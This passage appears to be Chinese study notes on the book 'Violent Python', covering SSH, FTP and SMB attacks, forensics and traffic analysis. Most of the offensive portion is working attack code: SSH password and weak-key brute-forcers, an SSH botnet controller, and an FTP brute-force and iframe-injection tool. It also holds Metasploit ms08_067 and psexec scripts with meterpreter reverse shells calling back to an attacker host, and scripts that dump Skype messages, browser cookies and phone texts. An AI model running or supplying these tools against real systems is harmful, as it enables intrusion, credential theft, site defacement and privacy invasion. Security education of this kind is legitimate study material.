| target_host = options.target_host 263 | password_file = options.password_file 264 | user = options.user 265 | 266 | if target_host is None or password_file is None or user is None: 267 | print(parser.usage) 268 | exit(-1) 269 | 270 | with open(password_file, "r") as f: 271 | for line in f.readlines(): 272 | if found: 273 | print("[*] Exiing: Password Found") 274 | exit(0) 275 | if fails > 5: 276 | print("[!] Exiting: Too Many Socket Timeouts") 277 | exit(-1) 278 | connection_lock.acquire() 279 | password = line.strip("\r\n") 280 | print("[-] Testing: {}".format(password)) 281 | t = threading.Thread(target=connect, args=(host, user, password, True)) 282 | child = t.start() 283 | 284 | if __name__ == "__main__": 285 | main() 286 | ``` 287 | 288 | iPhone 设备上 root 用户的默认密码为:`alpine`,当设备越狱后,用户会在 iPhone 上启用一个 OpenSSH 服务 289 | 290 | ### 利用 SSH 中的弱私钥 291 | 292 | 对于 SSH 服务器,密码验证并不是唯一的手段。除此之外,SSH 还能使用公钥加密的方式进行验证。在使用这一验证方法时,服务器和用户分别掌握公钥和私钥。使用 RSA 或是 RSA 算法,服务器能生成用于 SSH 登录的密钥。 293 | 294 | 不过,2006 年 Debian Linux 发行版中发生了一件有意思的事。软件自动分析工具发现了一行已被开发人员注释掉的代码。这行被注释掉的代码用来确保创建 SSH 密钥的信息量足够大。被注释掉之后,密钥空间的大小的熵值降低到只有 15 位大小。此时可能的密钥只有 32767 个。Rapid7 的 CSO 和 HD Moore 在两个小时内生成了所有的 1024 位和 2048 位算法的可能的密钥。而且,把结果放在了[网上](http://digitaloffense.net/tools/debianopenssl/)中,大家都可以下载使用。 295 | 296 | 由此可以进行暴力破解,在使用密钥登录 SSH 时,需要键入 `ssh user@host -i keyfile -o PasswordAuthentication=no` 格式的一条命令。DEMO 代码如下: 297 | 298 | ```python 299 | import pexpect 300 | import optparse 301 | import os 302 | import threading 303 | 304 | max_connections = 5 305 | connection_lock = threading.BoundedSemaphore(value=max_connections) 306 | stop = False 307 | fails = 0 308 | 309 | def connect(user, host, key_file, release): 310 | global stop, fails 311 | try: 312 | perm_denied = "Permission denied" 313 | ssh_new_key = "Are you sure you want to continue" 314 | conn_closed = "Connection closed by remote host" 315 | 316 | opt = " -o PasswordAuthentication=no" 317 | conn_str = "ssh {}@{} -i {}{}".format(user, host, key_file, opt) 318 | child = pexpect.spawn(conn_str) 319 | ret = child.expect([pexpect.TIMEOUT, perm_denied, ssh_new_key, conn_closed, "$", "#", ]) 320 | if ret == 2: 321 | print("[-] Adding Host to !/.ssh/known_hosts") 322 | child.sendline("yes") 323 | connect(user, host, key_file, False) 324 | elif ret == 3: 325 | print("[-] Connection Closed By Remote Host") 326 | fails += 1 327 | elif ret > 3: 328 | print("[+] Success. {}".format(key_file)) 329 | stop = True 330 | finally: 331 | if release: 332 | connection_lock.release() 333 | 334 | def main(): 335 | parser = optparse.OptionParser("usage %prog -H -u -d ") 336 | parser.add_option("-H", dest="target_host", type=str, help="specify target host") 337 | parser.add_option("-d", dest="pass_dir", type=str, help="specify directory with keys") 338 | parser.add_option("-u", dest="user", type=str, help="specify the user") 339 | 340 | options, args = parser.parse_args() 341 | target_host = options.target_host 342 | pass_dir = options.pass_dir 343 | user = options.user 344 | 345 | if target_host is None or pass_dir is None or user is None: 346 | print(parser.usage) 347 | exit(-1) 348 | 349 | for file_name in os.listdir(pass_dir): 350 | if stop: 351 | print("[*] Exiting: Key Found.") 352 | exit(0) 353 | if fails > 5: 354 | print("[!] Exiting: Too Many Connections Closed By Remote Host.") 355 | print("[!] Adjust number of simultaneous threads.") 356 | exit(0) 357 | connection_lock.acquire() 358 | 359 | full_path = os.path.join(pass_dir, file_name) 360 | print("[-] Testing keyfile {}".format(full_path)) 361 | t = threading.Thread(target=connect, args=(user, target_host, full_path, True)) 362 | child = t.start() 363 | 364 | if __name__ == "__main__": 365 | main() 366 | ``` 367 | 368 | ### 构建 SSH 僵尸网络 369 | 370 | 每个单独的僵尸或者 client 都需要有能连上某台肉机,并把命令发送给肉机的能力 371 | 372 | ```python 373 | import optparse 374 | import pexpect.pxssh as pxssh 375 | 376 | bot_net = list() 377 | 378 | class Client: 379 | def __init__(self, host, user, password): 380 | self.host = host 381 | self.user = user 382 | self.password = password 383 | self.session = self.connect() 384 | 385 | def connect(self): 386 | try: 387 | s = pxssh.pxssh() 388 | s.login(self.host, self.user, self.password) 389 | return s 390 | except Exception as e: 391 | print(e) 392 | print("[-] Error Connecting") 393 | 394 | def send_command(self, cmd): 395 | self.session.sendline(cmd) 396 | self.session.prompt() 397 | return self.session.before 398 | 399 | def bot_net_command(command): 400 | for client in bot_net: 401 | output = client.send_command(command) 402 | print("[*] Output from {}".format(client.host)) 403 | print("[+] {}".format(output)) 404 | 405 | def add_client(host, user, password): 406 | client = Client(host, user, password) 407 | bot_net.append(client) 408 | 409 | if __name__ == "__main__": 410 | add_client("10.10.10.110", "root", "toor") 411 | add_client("10.10.10.120", "root", "toor") 412 | add_client("10.10.10.130", "root", "toor") 413 | bot_net_command("uname -v") 414 | bot_net_command("cat /etc/issue") 415 | ``` 416 | ## 利用 FTP 与 Web 批量抓 “肉机” 417 | 418 | ### 用 Python 构建匿名 FTP 扫描器 419 | 420 | 可以利用 Python 中的 ftplib 库编写一个小脚本,确定一个服务器是否允许匿名登录 421 | 422 | ```python 423 | import ftplib 424 | def anon_login(hostname): 425 | try: 426 | ftp = ftplib.FTP(hostname) 427 | ftp.login("anonymous", "me@your.com") 428 | print("[*] {} FTP Anonymous Logon Succeeded.".format(host)) 429 | ftp.quit() 430 | return True 431 | except Exception as e: 432 | print("[-] {} FTP Anonymous Logon Failed.".format(host)) 433 | return False 434 | 435 | 436 | if __name__ == "__main__": 437 | host = "192.168.158.161" 438 | anon_login(host) 439 | ``` 440 | 441 | ### 使用 Ftplib 暴力破解 FTP 用户口令 442 | 443 | `FileZilla` 之类的 FTP 客户端程序往往将密码以明文形式存储在配置文件中 444 | 445 | 只要将上面的 `ftp.login()` 替换上对应的用户名和密码就可以验证了 446 | 447 | ### 在 FTP 服务器上搜索网页 448 | 449 | 使用 `nlst` 函数,这会列出目录中所有文件的命令 450 | 451 | ```python 452 | dir_list = ftp.nlst() 453 | ``` 454 | 455 | ### 在网页中加入恶意注入代码 456 | 457 | 直接使用 `metasploit` 框架生成: 458 | 459 | ```shell 460 | msfcli exploit/windows/browser/ms10_002_aurora 461 | ``` 462 | 463 | 上传的命令: 464 | 465 | ```python 466 | ftp.storlines("STOR {}".format(page), open("{}.tmp".format(page))) 467 | ``` 468 | 469 | ### 完整的代码 DEMO 470 | 471 | 虽然很多余,但还是把整个流程打一遍吧 472 | 473 | ```python 474 | import ftplib 475 | import optparse 476 | import time 477 | 478 | def anon_login(hostname): 479 | try: 480 | ftp = ftplib.FTP(hostname) 481 | ftp.login("anonymous", "me@your.com") 482 | print("[*] {} FTP Anonymous Logon Succeeded.".format(hostname)) 483 | ftp.quit() 484 | return True 485 | except Exception as e: 486 | print("[-] {} FTP Anonymous Logon Failed.".format(hostname)) 487 | return False 488 | 489 | def brute_login(hostname, password_file): 490 | pf = open(password_file, "r") 491 | for line in pf.readlines(): 492 | time.sleep(1) 493 | user_name = line.split(":")[0] 494 | password = line.split(":")[1].strip("\r\n") 495 | print("[+] Trying: {}/{}".format(user_name, password)) 496 | 497 | try: 498 | ftp = ftplib.FTP(hostname) 499 | ftp.login(user_name, password) 500 | print("[*] {} FTP Logon Succeeded: {}/{}".format(hostname, user_name, password)) 501 | ftp.quit() 502 | return user_name, password 503 | except Exception as e: 504 | pass 505 | print("[-] Could not brute force FTP credentials.") 506 | return None, None 507 | 508 | def return_default(ftp): 509 | dir_list = list() 510 | try: 511 | dir_list = ftp.nlst() 512 | except: 513 | print("[-] Could not list directory contents.") 514 | print("[-] Skipping To Next Target.") 515 | return dir_list 516 | 517 | ret_list = list() 518 | for file_name in dir_list: 519 | fn = file_name.lower() 520 | if ".php" in fn or ".htm" in fn or ".asp" in fn: 521 | print("[+] Found default page: {}".format(file_name)) 522 | ret_list.append(file_name) 523 | 524 | return ret_list 525 | 526 | def inject_page(ftp, page, redirect): 527 | f = open("{}.tmp".format(page), "w") 528 | ftp.retrlines("RETR {}".format(page), f.write) 529 | print("[+] Downloaded Page: {}".format(page)) 530 | f.write(redirect) 531 | f.close() 532 | 533 | print("[+] Injected Malicious IFrame on: {}".format(page)) 534 | ftp.storlines("STOR {}".format(page), open("{}.tmp".format(page))) 535 | print("[+] Uploaded Injected Page: {}".format(page)) 536 | 537 | def attack(username, password, target_host, redirect): 538 | ftp = ftplib.FTP(target_host) 539 | ftp.login(username, password) 540 | def_pages = return_default(ftp) 541 | for def_page in def_pages: 542 | inject_page(ftp, def_page, redirect) 543 | 544 | def main(): 545 | parser = optparse.OptionParser("usage%prog -H -r [-f ]") 546 | 547 | parser.add_option("-H", dest="target_hosts", type=str, help="specify target host") 548 | parser.add_option("-f", dest="password_file", type=str, help="specify user/password file") 549 | parser.add_option("-r", dest="redirect", type=str, help="specify a redirection page") 550 | 551 | options, args = parser.parse_args() 552 | target_hosts = str(options.target_hosts).split(", ") 553 | password_file = options.password_file 554 | redirect = options.redirect 555 | 556 | if target_hosts is None or redirect is None: 557 | print(parser.usage) 558 | exit(-1) 559 | 560 | for target_host in target_hosts: 561 | username, password = None, None 562 | if anon_login(target_host): 563 | username, password = "test", "test" 564 | print("[+] Using Anonymous Creds to attack") 565 | attack(username, password, target_host, redirect) 566 | elif password_file is not None: 567 | username, password = brute_login(target_host, password_file) 568 | if password is not None: 569 | print("[+] Using Creds: {}/{} to attack".format(username, password)) 570 | attack(username, password, target_host, redirect) 571 | 572 | if __name__ == "__main__": 573 | main() 574 | ``` 575 | ## Conficker,为什么努力做就够了 576 | 577 | 蠕虫病毒,Conficker(或称为 W32DownandUp),在其基本的感染方法中,Conficker 蠕虫使用了两种不同的攻击方法。首先利用了 Windows 服务器中一个服务的 0Day 漏洞。利用这个栈溢出漏洞,蠕虫能在被感染的主机上执行 ShellCode 并下载蠕虫。当这种攻击失败时,Conficker 蠕虫又尝试暴力破解默认的管理员网络共享(`ADMIN$`)的口令以获取肉机访问权。 578 | 579 | ### 使用 Metasploit 攻击 Windows SMB 服务 580 | 581 | 虽然攻击者可以通过交互驱动的方式使用 Metasploit,但 Metasploit 也能读取批处理脚本(rc)完成攻击。在攻击时,Metasploit 会顺序执行批处理文件中的命令。 582 | 583 | ```shell 584 | use exploit/windows/smb/ms08_067_netapi 585 | set RHOST 192.168.1.37 586 | set PAYLOAD windows/meterpreter/reverse_tcp 587 | set LHOST 192.168.77.77 588 | set LPORT 7777 589 | exploit -j -z 590 | 591 | msfconsole -r conficker.rc 592 | > sessions -i 1 593 | > execute -i -f cmd.exe 594 | ``` 595 | 596 | ### 编写 Python 脚本与 Metasploit 交互 597 | 598 | 首先需要扫描网段内所有开放 445 端口的主机,TCP 445 端口主要是作为 SMB 协议的默认端口用的 599 | 600 | ```python 601 | import nmap 602 | def find_target(sub_net): 603 | nm_scan = nmap.PortScanner() 604 | nm_scan.scan(sub_net, "445") 605 | target_hosts = list() 606 | for host in nm_scan.all_hosts(): 607 | if nm_scan[host].has_tcp(445): 608 | state = nm_scan[host]["tcp"][445]["state"] 609 | if state == "open": 610 | print("[+] Found Target Host: {}".format(host)) 611 | return target_hosts 612 | ``` 613 | 614 | 接下来需要编写一个监听器,这个监听器或称命令与控制信道,用于与目标主机进行远程交互 615 | 616 | Metasploit 提供了一个 Meterpreter 的高级动态负载,当 Meterpreter 进程回连接到攻击者的计算机等候执行进一步的命令时,要使用一个名为 `multi/handler` 的 Metasploit 模块去发布命令。接下来需要把各条指令写入 Metasploit 的 rc 脚本中 617 | 618 | ```python 619 | def setup_handler(config_file, lhost, lport): 620 | config_file.write("use exploit/multi/handler\n") 621 | config_file.write("set PAYLOAD windows/meterpreter/reverse_tcp\n") 622 | config_file.write("set LPORT {}\n".format(lport)) 623 | config_file.write("set LHOST {}\n".format(lhost)) 624 | config_file.write("exploit -j -z\n") 625 | config_file.write("setg DisablePayloadHandler 1\n") 626 | ``` 627 | 628 | 注意脚本发送了一条指令:在同一个任务(job)的上下文环境中(-j),不与任务进行即时交互的条件下(-z)利用目标计算机上的漏洞 629 | 630 | ```python 631 | def conficker_exploit(config_file, target_host, lhost, lport): 632 | config_file.write("use exploit/windows/smb/ms08_067_netapi\n") 633 | config_file.write("set RHOST {}\n".format(target_host)) 634 | config_file.write("set PAYLOAD windows/meterpreter/reverse_tcp\n") 635 | config_file.write("set LPORT {}\n".format(lport)) 636 | config_file.write("set LHOST {}\n".format(lhost)) 637 | config_file.write("exploit -j -z\n") 638 | ``` 639 | 640 | ### 暴力破解口令,远程执行一个进程 641 | 642 | 需要用暴力攻击的方式破解 SMB 用户名/密码,以此获取权限在目标主机上远程执行一个进程(psexec) 643 | 644 | ```python 645 | def smb_brute(config_file, target_host, passwd_file, lhost, lport): 646 | username = "Administrator" 647 | pf = open(passwd_file, "r") 648 | for password in pf.readlines(): 649 | password = password.strip("\r\n") 650 | config_file.write("use exploit/windows/smb/psexec\n") 651 | config_file.write("set SMBUser {}\n".format(username)) 652 | config_file.write("set SMBPass {}\n".format(password)) 653 | config_file.write("set RHOST {}\n") 654 | config_file.write("set PAYLOAD windows/meterpreter/reverse_tcp\n") 655 | config_file.write("set LPORT {}\n".format(lport)) 656 | config_file.write("set LHOST {}\n".format(lhost)) 657 | config_file.write("exploit -j -z\n") 658 | ``` 659 | 660 | ### 整合 661 | 662 | 最主要的是 main 函数如何与 metasploit 交互,发现是通过 rc 文件 663 | 664 | ```python 665 | config_file = open("meta.rc", "w") 666 | ... 667 | os.system("msfconsole -r meta.rc") 668 | ``` 669 | 670 | ## 编写你自己的 0day 概念验证代码 671 | 672 | Morris 蠕虫成功的原因在某种程度上其实就是利用了 Finger service 中的一个基于栈的缓冲区溢出 673 | 674 | ### 基于栈的缓冲区溢出攻击 675 | 676 | ```python 677 | shellcode = ("\xbf\x5c....") 678 | overflow = "\x41" * 246 679 | ret = struct.pack("\ProfileImagePath`,看到返回的是 `%SystemDrive%\Documents and Settings\` 值。通过 `reg query` 命令,可以直接把 SID 转成用户名 110 | 111 | ```shell 112 | C:\RECYCLER>reg query "HKEY_LOCAL...." /v ProfileImagePath 113 | ``` 114 | 115 | 通过 Python 实现,打开注册表检查 ProfileImagePath 键,提取出其中存放的值,并返回位于用户路径中最后一个反斜杠之后的用户名 116 | 117 | ```python 118 | from _winreg import * 119 | def sid2user(sid): 120 | try: 121 | key = OpenKey(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\{}".format(sid)) 122 | value, type = QueryValueEx(key, "ProfileImagePath") 123 | user = value.split("\\")[-1] 124 | return user 125 | except: 126 | return sid 127 | ``` 128 | 129 | ## 元数据 130 | 131 | 作为一种文件里非明显可见的对象,元数据可以存在于文档、电子表格、图片、音频和视频文件中。创建这些文件的应用程序可能会把文档的作者、创建和修改时间、可能的更新版本和注释这类详细信息存储下来。 132 | 133 | ### 使用 PyPDF 解析 PDF 文件中的元数据 134 | 135 | PyPDF 允许提取文档中的内容,或对文档进行分割、合并、复制、加密和解密操作。若要提取元数据,可以使用 `.getDocumentInfo()` 方法,该方法会返回一个 tuple 数组,每个 tuple 中都含有对元数据元素的一个描述及它的值。逐一遍历这个数组,就能打印出 PDF 文档的所有元数据。 136 | 137 | ```python 138 | import pyPdf 139 | from pyPdf import PdfFileReader 140 | def print_meta(file_name): 141 | pdf_file = PdfFileReader(file(file_name, "rb")) 142 | doc_info = pdf_file.getDocumentInfo() 143 | print("[*] PDF MetaData For: {}".format(file_name)) 144 | for meta_item in doc_info: 145 | print("[+] {}:{}".format(meta_item, doc_info[meta_item])) 146 | ``` 147 | 148 | ### 理解 Exif 元数据 149 | 150 | Exif(exchange image file format,交换图像文件格式)标准定义了如何存储图像和音频文件的标准。 151 | 152 | Exif 标准中含有多个对取证调查非常有用的标签(tag),工具 `exiftool` 用它可以解析这些标签。 153 | 154 | ### 用 BeautifulSoup 下载图片 155 | 156 | BeautifulSoup 允许我们快速解析 HTML 和 XML 文档 157 | 158 | 实现查找所有 img 标签并下载: 159 | 160 | ```python 161 | import urllib2 162 | from bs4 import BeautifuleSoup 163 | from urlparser import urlsplit 164 | from os.path import basename 165 | 166 | def find_images(url): 167 | print("[+] Finding images on {}".format(url)) 168 | url_content = urllib2.urlopen(url).read() 169 | soup = BeautifulSoup(url_content) 170 | img_tags = soup.findAll("img") 171 | return img_tags 172 | 173 | def download_image(img_tag): 174 | try: 175 | print("[+] Downloading image...") 176 | img_src = img_tag["src"] 177 | img_content = urllib2.urlopen(img_src).read() 178 | img_file_name = basename(urlsplit(img_src)[2]) 179 | img_file = open(img_file_name, "wb") 180 | img_file.write(img_content) 181 | img_file.close() 182 | return img_file_name 183 | except: 184 | return "" 185 | ``` 186 | 187 | ### 用 Python 的图像处理库读取图片中的 Exif 元数据 188 | 189 | 利用 PIL 库提取 GPS 元数据: 190 | 191 | ```python 192 | from PIL import Image 193 | from PIL.ExifTags import TAGS 194 | 195 | def test_for_exif(image_file_name): 196 | try: 197 | exif_data = {} 198 | img_file = Image.open(image_file_name) 199 | info = img_file._getexif() 200 | if info: 201 | for tag, value in info.items(): 202 | decoded = TAGS.get(tag, tag) 203 | exif_data[decoded] = value 204 | exif_gps = exif_data["GPSINFO"] 205 | if exif_gps: 206 | print("[*] {} contains GPS MetaData".format(img_file_name)) 207 | except: 208 | pass 209 | ``` 210 | 211 | ## 用 Python 分析应用程序的使用记录 212 | 213 | ### 理解 Skype 中的 SQLite3 数据库 214 | 215 | 在 Windows 系统中,Skype 在 `C:\Documents and Settings\\ApplicationData\Skype\` 目录中存储了一个名为 `main.db` 的数据库。在 macOS 系统中,这个数据库的存储路径为 `/Users//Library/Application Support/Skype/` 216 | 217 | 连接 SQLite3 数据库后 `SELECT tbl_name FROM sqlite_master WHERE type=='table'`,SQLite 数据库维护一张名为 `sqlite_master` 的表,这张表中含有一个名为 `tbl_name` 的列,其中描述了数据库中的各张表。 218 | 219 | Accounts 表记录了使用该应用程序的用户账户的相关信息,其中的各列记录了用户名、Skype 的昵称、用户的位置和创建该账户的日期等信息。 220 | 221 | 数据库是以 UNIX 时间格式存储账户创建时间的,SQL 方法 `datetime()` 可以把这个值转换成更方便阅读的格式 222 | 223 | ### 使用 Python 和 SQLite3 自动查询 Skype 的数据库 224 | 225 | ```python 226 | import sqlite3 227 | def print_profile(skype_db): 228 | conn = sqlite3.connect(skype_db) 229 | c = conn.cursor() 230 | c.execute("SELECT fullname, skypename, city, country, datetime(profile_timestamp, 'unixepoch') FROM Accounts;") 231 | for row in c: 232 | print("[*] -- Found Account --") 233 | print("[+] User: {}".format(row[0])) 234 | print("[+] Skype Username: {}".format(row[1])) 235 | print("[+] Location: {},{}".format(row[2], row[3])) 236 | print("[+] Profile Date: {}".format(row[4])) 237 | ``` 238 | 239 | 多表处理: 240 | 241 | ```python 242 | def print_call_log(skype_db): 243 | conn = sqlite3.connect(skype_db) 244 | c = conn.cursor() 245 | c.execute("SELECT datetime(begin_timestamp, 'unixepoch'), identity FROM calls, conversations WHERE calls.conv_dbid = conversations.id;") 246 | print("[*] -- Found Calls --") 247 | for row in c: 248 | print("[+] Time: {} | partner: {}".format(row[0], row[1])) 249 | ``` 250 | 251 | Skype 的数据库会把所有发送和收到的消息都保存在数据库中。数据库中把这些信息存放在一张名为 `Messages` 的表中。从这张表中用 SELECT 语句选出 timestamp、`dialog_partner`、author 和 `body_xml`。注意,如果 `dialog_partner` 和 author 字段是不一样的,那么就是数据库的所有者发送这条消息给 `dialog_partner` 的。反之,如果 `dialog_partner` 和 author 字段是一样的,就是 `dialog_partner` 发送的这条消息,这时需要在消息前加一个 `from` 252 | 253 | ```python 254 | def print_messages(skype_db): 255 | conn = sqlite3.connect(skype_db) 256 | c = conn.cursor() 257 | c.execute("SELECT datetime(timestamp, 'unixepoch'), dialog_partner, author, body_xml FROM Messages;") 258 | print("[*] -- Found Messages --") 259 | for row in c: 260 | try: 261 | if "partlist" not in str(row[3]): 262 | if str(row[1]) != str(row[2]): 263 | msg_direction = "To {}: ".format(row[1]) 264 | else: 265 | msg_direction = "From {}: ".format(row[2]) 266 | print("Time: {} {} {}".format(row[0], msg_direction, row[3])) 267 | except: 268 | pass 269 | ``` 270 | 271 | ### 其他有用的一些 Skype 查询语句 272 | 273 | 只想打印出联系人列表中其生日不为空的联系人: 274 | 275 | ```sql 276 | SELECT fullname, birthday FROM contacts WHERE birthday > 0; 277 | ``` 278 | 279 | 只想输出 conversation 表中只与某个特定的 `` 相关的通话记录: 280 | 281 | ```sql 282 | SELECT datetime(timestamp, 'unixepoch'), dialog_partner, author, body_xml, FROM Messages WHERE dialog_partner='' 283 | ``` 284 | 285 | 要删除 conversation 表中只与某个特定的 `` 相关的通话记录 286 | 287 | ```sql 288 | DELETE FROM messages WHERE skypename='' 289 | ``` 290 | 291 | ### 用 Python 解析火狐浏览器的 SQLite3 数据库 292 | 293 | 在 Windows 操作系统中,火狐把这些数据库存放在 `"C:/Documents and Settings//Application Data/Mozilla/Firefox/Profiles//"` 目录中,在 macOS 系统中,火狐把这些数据库存放在 `"/Users//Library/Application Support/Firefox/Profiles/"` 目录中 294 | 295 | 文件 `downloads.sqlite` 数据库时火狐用户下载文件的相关信息。其中只有一张名为 `moz_downloads` 的表记录了文件名、源下载地址、下载时间、文件大小、引用(referrer)和本地存放该文件的路径。 296 | 297 | ```python 298 | import sqlite3 299 | def print_downloads(download_db): 300 | conn = sqlite3.connect(download_db) 301 | c = conn.cursor() 302 | c.execute("SELECT name, source, datetime(endTime/1000000, 'unixepoch') FROM moz_downloads;") 303 | print("[*] --- Files Downloaded ---") 304 | for row in c: 305 | print("[+] File: {} from source: {} at: {}".format(row[0], row[1], row[2])) 306 | ``` 307 | 308 | 数据库 `moz_cookies` 表中保存的是 cookie 相关的数据。 309 | 310 | ```python 311 | def print_cookies(cookies_db): 312 | try: 313 | conn = sqlite3.connect(cookie_db) 314 | c = conn.cursor() 315 | c.execute("SELECT host, name, value FROM moz_cookies") 316 | print("[*] --- Found Cookies ---") 317 | for row in c: 318 | host = row[0] 319 | name = row[1] 320 | value = row[2] 321 | print("[+] Host: {}, Cookie: {}, Value: {}".format(host, name, value)) 322 | except Exception as e: 323 | if "encrypted" in str(e): 324 | print("[*] Error reading your cookies database.") 325 | print("[*] Upgrade your Python-Sqlite3 Library") 326 | ``` 327 | 328 | 上网历史记录保存在 `places.sqlite` 的数据库中,其中的 `moz_places` 表可以给出关于用户在何时(时间)访问了何处(地址)的网站信息。ForensicWiki 网站上建议使用 `moz_places` 和 `moz_historyvisits` 表中的数据,以获取一张真正的浏览器上网历史记录。 329 | 330 | ```sql 331 | SELECT url, datetime(visit_date/1000000, 'unixepoch') FROM moz_places, moz_historyvisits WHERE visit_count > 0 AND moz_places.id == moz_historyvisits.place_id; 332 | ``` 333 | 334 | ### 用 Python 调查 iTunes 的手机备份 335 | 336 | 苹果的 iOS 操作系统实际上会跟踪和记录设备的 GPS 经纬度信息,并把它们存储在 `consolidated.db` 的数据库中。其中有一张名为 `Cell-Location` 的表,其中含有手机已经收集到的 GPS 定位点。在备份移动设备时,记录到计算机的移动设备的副本也含有这一信息。尽管 iOS 操作系统设计的功能会删除这些地理位置信息,但调查发现这些数据仍然存在。 337 | 338 | 当用户对 iPhone/iPad 设备进行备份时,它会把相关文件存放到计算机中一个特定的目录中。在 Windows 操作系统中,iTunes 应用程序会把数据存放在用户目录下的移动设备备份目录中(`C:/Documents and Settings//Application Data/AppleComputer/MobileSync/Backup`),而在 macOS 中,这个目录则是 `/Users//Library/Application Support/MobileSync/Backup/`。对移动设备进行备份的 iTunes 程序会把所有的设备备份文件都存放在这个目录中。 339 | 340 | 为了获取关于文件的信息,用 UNIX 命令 `file` 来分析各个文件的文件类型。可以看到移动设备备份目录中有一些 SQLite3 数据库文件、JPEG 图片文件、纯二进制文件和 ASCII 文本文件 341 | 342 | 可以用脚本快速列举出在整个移动设备备份目录中每一个数据库中所有表的表名: 343 | 344 | ```sql 345 | SELECT tbl_name FROM sqlite_master WHERE type=="table" 346 | ``` 347 | 348 | 每个 SQLite 数据库中都会维护一张名为 `sqlite_master` 的表,其中含有整个数据库结构的信息,记录了整个数据库中各张表的结构。 349 | 350 | 含有 `message` 表的库即为文本消息数据库,可以把发送时间、对方手机号码以及消息本身打印出来: 351 | 352 | ```sql 353 | SELECT datetime(date, 'unixepoch'), address, text FROM message WHERE address > 0; 354 | ``` -------------------------------------------------------------------------------- /第4章用Python分析网络流量.md: -------------------------------------------------------------------------------- 1 | # 第 4 章 用 Python 分析网络流量 2 | 3 | ## IP 流量将何去何从?——用 Python 回答 4 | 5 | 把一个网际协议地址(IP 地址)和它所在的物理地址关联起来,可以用 MaxMind 公司提供的一个可以免费获取的开源数据库 GeoLiteCity。有了这个数据库,就可以把 IP 地址与对应的国家、邮政编码、国家名称以及常规经纬度坐标关联起来。 6 | 7 | ### 使用 PyGeoIP 关联 IP 地址和物理位置 8 | 9 | Jennifer Ennis 编写了一个查询 GeoLiteCity 数据库的纯 Python 库——pygeoip。城市(city)、区域名称(`region_name`)、邮政编码(`postal_code`)、国名(`country_name`)、经纬度以及其他识别信息的记录 10 | 11 | ```python 12 | import pygeoip 13 | gi = pygeoip.GeoIP("/opt/GetIP/Geo.dat") 14 | def print_record(target): 15 | rec = gi.recory_by_name(target) 16 | city = rec["city"] 17 | region = rec["region_name"] 18 | country = rec["country_name"] 19 | long = rec["longitude"] 20 | lat = rec["latitude"] 21 | print("[*] Target: {} Geo-located.".format(target)) 22 | print("[+] {}, {}, {}".format(city, region, country)) 23 | print("[+] Latitude: {}, Longitude: {}".format(lat, long)) 24 | target = "173.255.226.98" 25 | print_record(target) 26 | ``` 27 | 28 | ### 使用 Dpkt 解析包 29 | 30 | Dpkt 允许逐个分析抓包文件里的各个数据包,并检查数据包中的每个协议层。也可以使用 pypcap 分析当前的实时流量。 31 | 32 | ```python 33 | import dpkt 34 | import socket 35 | def print_pcap(pcap): 36 | for ts, buf in pcap: 37 | try: 38 | eth = dpkt.ethernet.Ethernet(buf) 39 | ip = eth.data 40 | src = socket.inet_ntoa(ip.src) 41 | dst = socket.inet_ntoa(ip.dst) 42 | print("[+] Src: {} --> Dst: {}".format(src, dst)) 43 | except: 44 | pass 45 | 46 | def main(): 47 | f = open("geotest.pcap") 48 | pcap = dpkt.pcap.Reader(f) 49 | print_pcap(pcap) 50 | ``` 51 | 52 | ### 使用 Python 画谷歌地图 53 | 54 | 谷歌地图能在一个专门的界面中显示出一个虚拟地球仪、地图和地理信息。虽然用的是专用的界面,但谷歌地图可以让你很方便地在地球仪上画出指定位置或轨迹。通过创建一个扩展名为 KML 的文本文件,用户可以把许多个地理位置标在谷歌地球上。KML 是有特定规定的 XML 结构。 55 | 56 | 写一个函数 `ret_KML` 接收一个 IP,并返回表示该 IP 地址对应物理地址的 KML 结构 57 | 58 | ```python 59 | def ret_kml(ip): 60 | rec = gi.record_by_name(ip) 61 | try: 62 | longitude = rec["longitude"] 63 | latitude= rec["latitude"] 64 | kml = ( 65 | "\n" 66 | "%s\n" 67 | "\n" 68 | "%6f,%6f\n" 69 | "\n" 70 | "\n" 71 | ) % (ip, longitude, latitude) 72 | return kml 73 | except Exception as e: 74 | return "" 75 | ``` 76 | 77 | 可能想要使用不同的图标来表示不同类型的网络流量,比如可以用源和目标 TCP 端口来区分不同的网络流量。可以查看谷歌 KML 文档。 78 | 79 | ## “匿名者” 真能匿名吗?分析 LOIC 流量 80 | 81 | LOIC(Low Orbit Ion Cannon,低轨道离子炮)是一个分布式拒绝服务工具包。 82 | 83 | LOIC 使用大量的 UDP 和 TCP 流量对目标进行拒绝服务式攻击。 84 | 85 | LOIC 提供两种操作模式。在第一种模式下,用户可以输入目标的地址。在第二种被称为 HIVEMIND(蜂群)的模式下,用户将 LOIC 连接到一台 IRC 服务器上,在这台服务器上,用户可以提出攻击,连接在这台服务器上的 IRC 的用户就会自动对该目标进行攻击 86 | 87 | ### 使用 Dkpt 发现下载 LOIC 的行为 88 | 89 | 编写一个 Python 脚本来解析 HTTP 流量,并检查其中有无通过 HTTP GET 获取压缩过的 LOIC 二进制可执行文件的情况。要做到这一点,需要再次使用 Dug Song 的 Dpkt 库。 90 | 91 | ```python 92 | import dpkt 93 | import socket 94 | 95 | def find_download(pcap): 96 | for ts, buf in pcap: 97 | try: 98 | eth = dpkt.ethernet.Ethernet(buf) 99 | ip = eth.data 100 | src = socket.inet_ntoa(ip.src) 101 | tcp = ip.data 102 | http = dpkt.http.Request(tcp.data) 103 | if http.method == "GET": 104 | uri = http.uri.lower() 105 | if ".zip" in uri and "loic" in uri: 106 | print("[!] {} Download LOIC.".format(src)) 107 | except: 108 | pass 109 | f = open() 110 | pcap = dpkt.pcap.Reader(f) 111 | find_download(pcap) 112 | ``` 113 | 114 | ### 解析 Hive 服务器上的 IRC 命令 115 | 116 | “匿名者” 成员需要登录到指定的 IRC 服务器上发出一条攻击指令,如 `!lazor targetip=66.211.169.66 message=test_test port=80 method=tcp wait=false random=true start`。任何把 LOIC 以 HIVEMIND 模式连上 IRC 服务器的“匿名者”成员都能立即开始攻击该目标。 117 | 118 | 在大多数情况下,IRC 服务器使用的是 TCP 6667 端口。发往 IRC 服务器的消息的目标 TCP 端口应该就是 6667。从 IRC 服务器那里发出消息的 TCP 源端口也应该是 6667。 119 | 120 | ```python 121 | import dpkt 122 | import socket 123 | def find_hivemind(pcap): 124 | for ts, buf in pcap: 125 | try: 126 | eth = dpkt.ethernet.Ethernet(buf) 127 | ip = eth.data 128 | src = socket.inet_ntoa(ip.src) 129 | dst = 